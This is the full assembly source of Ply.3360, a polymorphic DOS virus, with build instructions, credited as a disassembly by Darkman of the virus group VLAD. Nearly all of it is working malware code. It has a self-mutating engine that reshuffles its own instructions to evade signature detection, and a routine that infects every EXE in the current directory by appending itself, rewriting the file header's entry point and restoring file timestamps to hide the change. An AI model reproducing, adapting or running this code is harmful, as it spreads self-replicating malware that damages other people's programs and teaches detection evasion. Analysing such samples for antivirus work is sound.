comment *
				Ply.3360
			     Disassembly by
			      Darkman/VLAD

  Ply.3360 is a 3360 bytes parasitic direct action EXE virus. Infects every
  file in current directory, when executed, by appending the virus to the
  infected file. Ply.3360 is polymorphic in file using its internal
  polymorphic engine.

  To compile Ply.3360 with Turbo Assembler v 4.0 type:
    TASM /m PLY_3360.ASM
    TLINK /t /x PLY_3360.OBJ
*

.model tiny
.code
 org   100h				 ; Origin of Ply.3360

code_begin:
delta_offset equ     $+01h		 ; Delta offset
	     mov     bp,100h		 ; BP = delta offset
poly_begin:
             mov     ax,cs               ; AX = code segment
	     nop
	     mov     ds,ax		 ; DS =  "      "
	     nop
	     mov     es,ax		 ; ES =  "      "
	     nop

	     mov     ax,100h		 ; AX = offset of beginning of code
	     sub     bp,ax		 ; Subtract offset of beginning of ...
	     nop

	     sti			 ; Set interrupt-enable flag
	     nop
	     nop
	     cld			 ; Clear direction flag
	     nop
	     nop

             lea     si,code_begin       ; SI = offset of code_begin
	     add     si,bp		 ; Add delta offset
	     nop
	     mov     cx,(poly_end-poly_begin)/03h
poly_loop:
	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     and     al,00000111b	 ; AL = random number between zero ...
	     nop

	     push    cx 		 ; Save CX at stack
	     nop
	     nop
	     push    si 		 ; Save SI at stack
	     nop
	     nop

	     cmp     al,00h		 ; Prepend a NOP to the opcode?
	     nop
	     jne     test_append	 ; Not equal? Jump to test_append
	     nop

	     mov     al,[si]		 ; AL = first byte of three-bytes b...
	     nop
	     cmp     al,90h		 ; NOP (opcode 90h)?
	     nop
	     je      dont_poly		 ; Equal? Jump to dont_poly
	     nop

	     mov     al,[si+02h]	 ; AL = third byte of three-byte block
	     cmp     al,90h		 ; NOP (opcode 90h)
	     nop
	     jne     dont_poly		 ; Not equal? Jump to dont_poly
	     nop

	     mov     ax,[si]		 ; AX = first word of three-bytes b...
	     nop
	     lea     bx,poly_buffer	 ; BX = offset of poly_buffer
	     add     bx,bp		 ; Add delta offset
	     nop
	     mov     [bx+01h],ax	 ; Store first word of three-bytes ...

	     cmp     al,0ebh		 ; JMP imm8 (opcode 0ebh)
	     nop
	     je      dec_imm8		 ; Equal? Jump to dec_imm8
	     nop

	     and     al,11110000b
	     nop
	     cmp     al,70h		 ; Jump on condition?
	     nop
	     jne     prepend_nop	 ; Not equal? Jump to prepend_nop
	     nop
dec_imm8:
	     dec     byte ptr [bx+02h]	 ; Decrease 8-bit immediate
prepend_nop:
	     mov     al,90h		 ; NOP (opcode 90h)
	     nop
	     mov     [bx],al		 ; Prepend a NOP to the opcode
	     nop

	     mov     di,si		 ; DI = offset of current three-byt...
	     nop
	     mov     si,bx		 ; SI = offset of poly_buffer
	     nop
	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop
dont_poly:
	     jmp     test_loop
test_append:
	     cmp     al,01h		 ; Append a NOP to the opcode?
	     nop
	     jne     test_create	 ; Not equal? Jump to test_create
	     nop

	     mov     al,[si]		 ; AL = first byte of three-bytes b...
	     nop
	     cmp     al,90h		 ; NOP (opcode 90h)?
	     nop
	     jne     dont_poly_ 	 ; Not equal? Jump to dont_poly_
	     nop

	     mov     ax,[si+01h]	 ; AX = second word of three-bytes ...
	     lea     bx,poly_buffer	 ; BX = offset of poly_buffer
	     add     bx,bp		 ; Add delta offset
	     nop
	     mov     [bx],ax		 ; Store second word of three-bytes...
	     nop

	     cmp     al,0ebh		 ; JMP imm8 (opcode 0ebh)
	     nop
	     je      dec_imm8_		 ; Equal? Jump to dec_imm8_
	     nop

	     and     al,11110000b
	     nop
	     cmp     al,70h		 ; Jump on condition?
	     nop
	     jne     append_nop 	 ; Not equal? Jump to append_nop
	     nop
dec_imm8_:
	     inc     byte ptr [bx+01h]	 ; Decrease 8-bit immediate
append_nop:
	     mov     al,90h		 ; NOP (opcode 90h)
	     nop
	     mov     [bx+02h],al	 ; Append a NOP to the opcode

	     mov     di,si		 ; DI = offset of current three-byt...
	     nop
	     mov     si,bx		 ; SI = offset of poly_buffer
	     nop
	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop
dont_poly_:
	     jmp     test_loop
test_create:
	     cmp     al,02h		 ; Create a CALL imm16 to the opcode?
	     nop
	     jne     delete_call	 ; Not equal? Jump to delete_call
	     nop

	     mov     ax,[si]		 ; AX = first word of three-bytes b...
	     nop
	     cmp     al,90h		 ; NOP (opcode 90h)?
	     nop
	     jne     create_call	 ; Not equal? Jump to create_call
	     nop

	     mov     al,ah		 ; AL = second byte of three-bytes ...
	     nop
create_call:
	     cmp     al,0e9h		 ; JMP imm16 (opcode 0e9h)
	     nop
	     je      call_exit		 ; Equal? Jump to call_exit
	     nop
	     cmp     al,0e8h		 ; CALL imm16 (opcode 0e8h)
	     nop
	     je      call_exit		 ; Equal? Jump to call_exit
	     nop
	     cmp     al,0ebh		 ; JMP imm8 (opcode 0ebh)
	     nop
	     je      call_exit		 ; Equal? Jump to call_exit
	     nop
	     cmp     al,0c3h		 ; RET (opcode 0c3h)
	     nop
	     je      call_exit		 ; Equal? Jump to call_exit
	     nop

	     and     al,11110000b
	     nop
	     cmp     al,70h		 ; Jump on condition?
	     nop
	     je      call_exit		 ; Equal? Jump to call_exit
	     nop
	     cmp     al,50h		 ; PUSH reg16/POP reg16?
	     nop
	     je      call_exit		 ; Equal? Jump to call_exit
	     nop

	     call    get_poly_off

	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop

	     mov     al,0c3h		 ; RET (opcode 0c3h)
	     nop
	     stosb			 ; Store RET
	     nop
	     nop

	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     stosb			 ; Store 8-bit random number
	     nop
	     nop

	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     stosb			 ; Store 8-bit random number
	     nop
	     nop

	     mov     al,0e8h		 ; CALL imm16 (opcode 0e8h)
	     nop
	     lea     bx,poly_buffer	 ; BX = offset of poly_buffer
	     add     bx,bp		 ; Add delta offset
	     nop
	     mov     [bx],al		 ; Create a CALL imm16 to the opcode
	     nop

	     mov     ax,di		 ; AX = random offset of polymorphi...
	     nop
	     sub     ax,si		 ; Subtract offset of current three...
	     nop
	     sub     ax,06h		 ; Subtract size of six-bytes block
	     mov     [bx+01h],ax	 ; Store 16-bit immediate

	     mov     di,si		 ; SI = offset of current three-byt...
	     nop
	     mov     ax,03h		 ; AX = size of opcode CALL imm16
	     sub     di,ax		 ; Subtract size of opcode CALL imm...
	     nop
	     mov     si,bx		 ; SI = offset of poly_buffer
	     nop
	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop
call_exit:
	     jmp     test_loop
delete_call:
	     cmp     al,03h		 ; Delete previously created CALL i...
	     nop
	     jne     test_create_	 ; Not equal? Jump to test_create_
	     nop

	     mov     al,[si]		 ; AL = first byte of three-bytes b...
	     nop
	     cmp     al,0e8h		 ; CALL imm16 (opcode 0e8h)?
	     nop
	     jne     call_exit_ 	 ; Not equal? Jump to call_exit_
	     nop

	     mov     ax,[si+01h]	 ; AX = 16-bit immediate
	     add     ax,03h		 ; Add size of opcode CALL imm16

	     mov     di,si		 ; DI = offset of current three-byt...
	     nop
	     add     si,ax		 ; Add 16-bit immediate
	     nop
	     lea     bx,poly_blocks	 ; BX = offset of poly_blocks
	     add     bx,bp		 ; Add delta offset
	     nop
	     cmp     si,bx		 ; 16-bit immediate within polymorp...
	     nop
	     jb      call_exit_ 	 ; Below? Jump to call_exit_
	     nop

	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop

	     mov     al,90h		 ; NOP (opcode 90h)
	     nop
	     mov     ah,al		 ; NOP; NOP (opcode 90h,90h)
	     nop
	     mov     [si-03h],ax	 ; Store NOP; NOP

	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     mov     [si-01h],al	 ; Store 8-bit random number

	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     mov     [si],al		 ; Store 8-bit random number
	     nop
call_exit_:
	     jmp     test_loop
test_create_:
	     cmp     al,04h		 ; Create a JMP imm16 to the opcode?
	     nop
	     jne     delete_jmp 	 ; Not equal? Jump to delete_jmp
	     nop

	     mov     ax,[si]		 ; AX = first word of three-bytes b...
	     nop
	     cmp     al,90h		 ; NOP (opcode 90h)?
	     nop
	     jne     create_jmp 	 ; Not equal? Jump to create_jmp
	     nop

	     mov     al,ah		 ; AL = second byte of three-bytes ...
	     nop
create_jmp:
	     cmp     al,0e9h		 ; JMP imm16 (opcode 0e9h)?
	     nop
	     je      jmp_exit		 ; Equal? Jump to jmp_exit
	     nop
	     cmp     al,0e8h		 ; CALL imm16 (opcode 0e8h)
	     nop
	     je      jmp_exit		 ; Equal? Jump to jmp_exit
	     nop
	     cmp     al,0ebh		 ; JMP imm8 (opcode 0ebh)
	     nop
	     je      jmp_exit		 ; Equal? Jump to jmp_exit
	     nop

	     and     al,11110000b
	     nop
	     cmp     al,70h		 ; Jump on condition?
	     nop
	     je      jmp_exit		 ; Equal? Jump to jmp_exit
	     nop

	     call    get_poly_off

	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop

	     mov     al,0e9h		 ; JMP imm16 (opcode 0e9h)
	     nop
	     stosb			 ; Store JMP imm16
	     nop
	     nop

	     mov     ax,di		 ; AX = random offset of polymorphi...
	     nop
	     sub     ax,si		 ; Subtract offset of current three...
	     nop
	     neg     ax 		 ; Negate AX
	     nop
	     sub     ax,02h		 ; Subtract two from 16-bit immediate
	     stosw			 ; Store 16-bit immediate
	     nop
	     nop

	     mov     al,0e9h		 ; JMP imm16 (opcode 0e9h)
	     nop
	     lea     bx,poly_buffer	 ; BX = offset of poly_buffer
	     add     bx,bp		 ; Add delta offset
	     nop
	     mov     [bx],al		 ; Create a JMP imm16 to the opcode
	     nop

	     mov     ax,di		 ; AX = random offset of polymorphi...
	     nop
	     sub     ax,si		 ; Subtract offset of current three...
	     nop
	     sub     ax,06h		 ; Subtract size of six-bytes block
	     mov     [bx+01h],ax	 ; Store 16-bit immediate

	     mov     di,si		 ; SI = offset of current three-byt...
	     nop
	     mov     ax,03h		 ; AX = size of opcode CALL imm16
	     sub     di,ax		 ; Subtract size of opcode CALL imm...
	     nop
	     mov     si,bx		 ; SI = offset of poly_buffer
	     nop
	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop
jmp_exit:
	     jmp     test_loop
	     nop
delete_jmp:
	     cmp     al,05h		 ; Delete previously created JMP im...
	     nop
	     jne     test_loop		 ; Not equal? Jump to test_loop
	     nop

	     mov     al,[si]		 ; AL = first byte of three-bytes b...
	     nop
	     cmp     al,0e9h		 ; JMP imm16 (opcode 0e9h)?
	     nop
	     jne     jmp_exit_		 ; Not equal? Jump to jmp_exit_
	     nop

	     mov     ax,[si+01h]	 ; AX = 16-bit immediate
	     add     ax,03h		 ; Add size of opcode CALL imm16

	     mov     di,si		 ; DI = offset of current three-byt...
	     nop
	     add     si,ax		 ; Add 16-bit immediate
	     nop
	     lea     bx,poly_blocks	 ; BX = offset of poly_blocks
	     add     bx,bp		 ; Add delta offset
	     nop
	     cmp     si,bx		 ; 16-bit immediate within polymorp...
	     nop
	     jb      jmp_exit_		 ; Below? Jump to jmp_exit_
	     nop

	     mov     cx,03h		 ; Move three bytes
	     rep     movsb		 ; Move three-bytes block to offset...
	     nop

	     mov     al,90h		 ; NOP (opcode 90h)
	     nop
	     mov     ah,al		 ; NOP; NOP (opcode 90h,90h)
	     nop
	     mov     [si-03h],ax	 ; Store NOP; NOP

	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     mov     [si-01h],al	 ; Store 8-bit random number

	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     mov     [si],al		 ; Store 8-bit random number
	     nop
jmp_exit_:
	     jmp     test_loop
	     nop
test_loop:
	     pop     si 		 ; Load SI from stack
	     nop
	     nop
	     pop     cx 		 ; Load CX from stack
	     nop
	     nop

	     mov     ax,03h		 ; AX = size of block
	     add     si,ax		 ; SI = offset of next three-byte b...
	     nop

	     dec     cx 		 ; Decrease CX
	     nop
	     nop
	     jz      poly_exit		 ; Zero? Jump to poly_exit
	     nop

	     jmp     poly_loop
poly_exit:
	     jmp     prepare_exit
	     nop

get_poly_off proc    near		 ; Get random offset of polymorphic...
	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     mov     ah,al		 ; AH =   "     "      "
	     nop
	     in      al,40h		 ; AL = 8-bit random number
	     nop
	     mov     di,ax		 ; DI = 16-bit random number
	     nop
	     mov     ax,(poly_end-poly_begin)/03h
get_rnd_num:
	     sub     di,ax		 ; Subtract number of polymorphic b...
	     nop
	     cmp     di,ax		 ; Too large a 16-bit random number?
	     nop
	     jae     get_rnd_num	 ; Above or equal? Jump to get_rnd_num
	     nop

	     mov     ax,di		 ; AX = 16-bit random number within...
	     nop

	     add     di,ax		 ; Add number of polymorphic blocks
	     nop
	     add     di,ax		 ;  "    "    "       "        "
	     nop
	     add     di,ax		 ;  "    "    "       "        "
	     nop
	     add     di,ax		 ;  "    "    "       "        "
	     nop
	     add     di,ax		 ;  "    "    "       "        "
	     nop

	     lea     ax,poly_blocks	 ; AX = offset of poly_blocks
	     add     di,ax		 ; Add offset of poly_blocks to ran...
	     nop
	     add     di,bp		 ; Add delta offset
	     nop


	     mov     al,90h		 ; NOP (opcode 90h)
	     nop
	     mov     ah,al		 ; NOP; NOP (opcode 90h,90h)
	     nop
	     cmp     [di],ax		 ; Offset already in use?
	     nop
	     jne     get_poly_off	 ; Not equal? Jump to get_poly_off
	     nop

	     ret			 ; Return!
	     nop
	     nop
	     endp
prepare_exit:
	     lea     si,file_header	 ; SI = offset of file_header
	     add     si,bp		 ; Add delta offset
	     nop
	     lea     di,instruct_ptr	 ; SI = offset of instruct_ptr
	     add     di,bp		 ; Add delta offset
	     nop

	     mov     ax,[si+14h]	 ; AX = instruction pointer
	     stosw			 ; Store instruction pointer
	     nop
	     nop
	     mov     ax,[si+16h]	 ; AX = code segment
	     stosw			 ; Store code segment
	     nop
	     nop
	     mov     ax,[si+0eh]	 ; AX = stack segment
	     stosw			 ; Store stack segment
	     nop
	     nop
	     mov     ax,[si+10h]	 ; AX = stack pointer
	     stosw			 ; Store stack pointer
	     nop
	     nop

	     mov     ah,1ah		 ; Set disk transfer area address
	     nop
	     lea     dx,dta		 ; DX = offset of dta
	     add     dx,bp		 ; Add delta offset
	     nop
	     mov     di,dx		 ; DI = offset of dta
	     nop
	     int     21h
	     nop

	     mov     ah,4eh		 ; Find first matching file
             nop
             mov     cx,0000000000000111b
	     lea     dx,file_specifi	 ; DX = offset of file_specifi
	     add     dx,bp		 ; Add delta offset
	     nop
find_next:
	     int     21h
	     nop
	     jnc     open_file		 ; No error? Jump to open_file
	     nop

	     jmp     virus_exit
open_file:
	     mov     ax,3d00h		 ; Open file (read)
	     lea     dx,filename	 ; DX = offset of filename
	     add     dx,bp		 ; Add delta offset
	     nop
	     int     21h
	     nop
	     xchg    bx,ax		 ; BX = file handle
	     nop
	     nop

	     mov     ah,3fh		 ; Read from file
	     nop
	     mov     dx,si		 ; DX = offset of file_header
	     nop
	     mov     cx,1ah		 ; Read twenty-six bytes
	     int     21h
	     nop

	     mov     ah,3eh		 ; Close file
	     nop
	     int     21h
	     nop

	     mov     ax,'ZM'             ; EXE signature
	     cmp     [si],ax		 ; Found EXE signature?
	     nop
	     je      examine_file	 ; Equal? Jump to examine_file
	     nop

	     xchg    ah,al		 ; Exchange EXE signature
	     nop
	     cmp     [si],ax		 ; Found EXE signature?
	     nop
	     je      examine_file	 ; Equal? Jump to examine_file
	     nop
jmp_find_nxt:
	     mov     ah,4fh		; Find next matching file
             nop

	     jmp     find_next
	     nop
examine_file:
	     mov     ax,2020h
	     cmp     [si+12h],ax	 ; Already infected?
	     je      jmp_find_nxt	 ; Equal? Jump to jmp_find_nxt
	     nop

	     mov     ax,4301h		 ; Set file attributes
	     xor     cx,cx		 ; CX = new file attributes
	     nop
	     lea     dx,filename	 ; DX = offset of filename
	     add     dx,bp		 ; Add delta offset
	     nop
	     int     21h
	     nop

	     mov     ax,3d02h		 ; Open file (read/write)
	     lea     dx,filename	 ; DX = offset of filename
	     add     dx,bp		 ; Add delta offset
	     nop
	     int     21h
	     nop
	     xchg    bx,ax		 ; BX = file handle
	     nop
	     nop

	     mov     ax,4202h		 ; Set current file position (EOF)
	     xor     cx,cx		 ; Zero CX
	     nop
	     xor     dx,dx		 ; Zero DX
	     nop
	     int     21h
	     nop

	     mov     ah,40h		 ; Write to file
             nop
             mov     cx,(code_end-code_begin)
	     lea     dx,code_begin	 ; DX = offset of code_begin
	     add     dx,bp		 ; Add delta offset
	     nop
	     int     21h
	     nop

	     mov     ax,[si+08h]	 ; AX = header size in paragraphs
	     mov     cl,04h		 ; Multiply by paragraphs
	     nop
	     shl     ax,cl		 ; AX = header size
	     nop
	     push    bx 		 ; Save BX at stack
	     nop
	     nop
	     xchg    ax,bx		 ; BX = header size
	     nop
	     nop

	     mov     ax,[di+1ah]	 ; AX = low-order word of filesize
	     mov     dx,[di+1ch]	 ; DX = high-order word of filesize
	     push    ax 		 ; Save AX at stack
	     nop
	     nop
	     push    dx 		 ; Save DX at stack
	     nop
	     nop

	     sub     ax,bx		 ; Subtract header size from filesize
	     nop
	     sbb     dx,00h		 ; Convert to 32-bit
	     mov     cx,10h
	     div     cx 		 ; Divide by paragraphs
	     nop
	     mov     [si+14h],dx	 ; Store instruction pointer
	     mov     [si+16h],ax	 ; Store code segment

	     lea     bx,delta_offset	 ; BX = offset of delta_offset
	     add     bx,bp		 ; Add delta offset
	     nop
	     mov     [bx],dx		 ; Store delta offset
	     nop

	     inc     ax 		 ; Increase AX
	     nop
	     nop
	     mov     [si+0eh],ax	 ; Store stack segment

	     mov     ax,(code_end-code_begin+100h)
	     add     dx,ax		 ; DX = stack pointer
	     nop
	     mov     [si+10h],dx	 ; Store stack pointer

	     mov     ax,2020h		 ; AX = infection mark
	     mov     [si+12h],ax	 ; Store infection mark

	     pop     dx 		 ; Load DX from stack
	     nop
	     nop
	     pop     ax 		 ; Load AX from stack
	     nop
	     nop
	     add     ax,(code_end-code_begin)
	     adc     dx,00h		 ; Convert to 32-bit

	     mov     cl,09h
	     nop
	     push    ax 		 ; Save AX at stack
	     nop
	     nop
	     shr     ax,cl		 ; Multiply by pages
	     nop
	     ror     dx,cl		 ;     "    "    "
	     nop
	     stc			 ; Set carry flag
	     nop
	     nop
	     adc     dx,ax		 ; DX = total number of 512-bytes p...
	     nop
	     pop     ax 		 ; Load AX from stack
	     nop
	     nop
	     and     ah,00000001b
	     mov     [si+04h],dx	 ; Store totalt number of 512-bytes...
	     mov     [si+02h],ax	 ; Number of bytes in last 512-byte...
	     pop     bx 		 ; Load BX from stack
	     nop
	     nop

	     mov     ax,4201h		 ; Set current file position (CFP)
	     mov     cx,-01h
	     mov     dx,-(code_end-delta_offset)
	     int     21h
	     nop

	     mov     ah,40h		 ; Write to file
             nop
             mov     cx,02h              ; Write two bytes
	     lea     dx,delta_offset	 ; DX = offset of delta_offset
	     add     dx,bp		 ; Add delta offset
	     nop
	     int     21h
	     nop

	     mov     ax,4200h		 ; Set current file position (SOF)
	     xor     cx,cx		 ; Zero CX
	     nop
	     xor     dx,dx		 ; Zero DX
	     nop
	     int     21h
	     nop

	     mov     ah,40h		 ; Write to file
	     nop
             mov     cx,1ah              ; Write twenty-six bytes
	     mov     dx,si		 ; DX = offset of file_header
	     nop
	     int     21h
	     nop

	     mov     ax,5701h		 ; Set file's date and time
	     mov     cx,[di+16h]	 ; CX = file time
	     mov     dx,[di+18h]	 ; DX = file date
	     int     21h
	     nop

	     mov     ah,3eh		 ; Close file
	     nop
	     int     21h
	     nop

	     mov     ax,4301h		 ; Set file attributes
	     mov     ch,00h		 ; Zero CH
	     nop
	     mov     cl,[di+15h]	 ; CL = file attribute
	     lea     dx,filename	 ; DX = offset of filename
	     add     dx,bp		 ; Add delta offset
	     nop
	     int     21h
	     nop

	     mov     ah,4fh		 ; Find next matching file
	     nop

	     jmp     find_next
virus_exit:
	     mov     ah,62h		 ; Get current PSP address
	     nop
	     int     21h
	     nop
	     mov     es,bx		 ; ES = segment of PSP for current ...
	     nop

	     mov     ax,bx		 ; AX =    "    "   "   "     "     "
	     nop
	     add     ax,10h		 ; AX = segment of beginning of code

	     lea     si,instruct_ptr	 ; SI = offset of instruct_ptr
	     add     si,bp		 ; Add delta offset
	     nop

	     add     [si+02h],ax	 ; Add segment of beginning of code...
	     add     ax,[si+04h]	 ; Add original stack segment to se...

	     cli			 ; Clear interrupt-enable flag
	     nop
	     nop
poly_end:
	     mov     sp,[si+06h]	 ; SP = stack pointer
	     mov     ss,ax		 ; SS = stack segment
	     sti			 ; Set interrupt-enable flag

	     mov     ds,bx		 ; DS = segment of PSP for current ...

	     db      0eah		 ; JMP imm32 (opcode 0eah)
instruct_ptr dw      ?			 ; Instruction pointer
code_seg     dw      ?			 ; Code segment

stack_seg    dw      ?			 ; Stack segment
stack_ptr    dw      ?			 ; Stack pointer

	     db      00h
file_specifi db      '????????.EXE',00h  ; File specification
	     db      00h,00h
file_header  dw      0ah dup(?),00h,0fff0h,?
	     db      00h
poly_buffer  db      03h dup(?) 	 ; Polymorphic buffer
poly_blocks  db       (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
	     db      15h dup(?) 	 ; Used by DOS for find next-process
file_attr    db      ?			 ; File attribute
file_time    dw      ?			 ; File time
file_date    dw      ?			 ; File date
filesize     dd      ?			 ; Filesize
filename     db      0dh dup(?) 	 ; Filename
data_end:

end	     code_begin
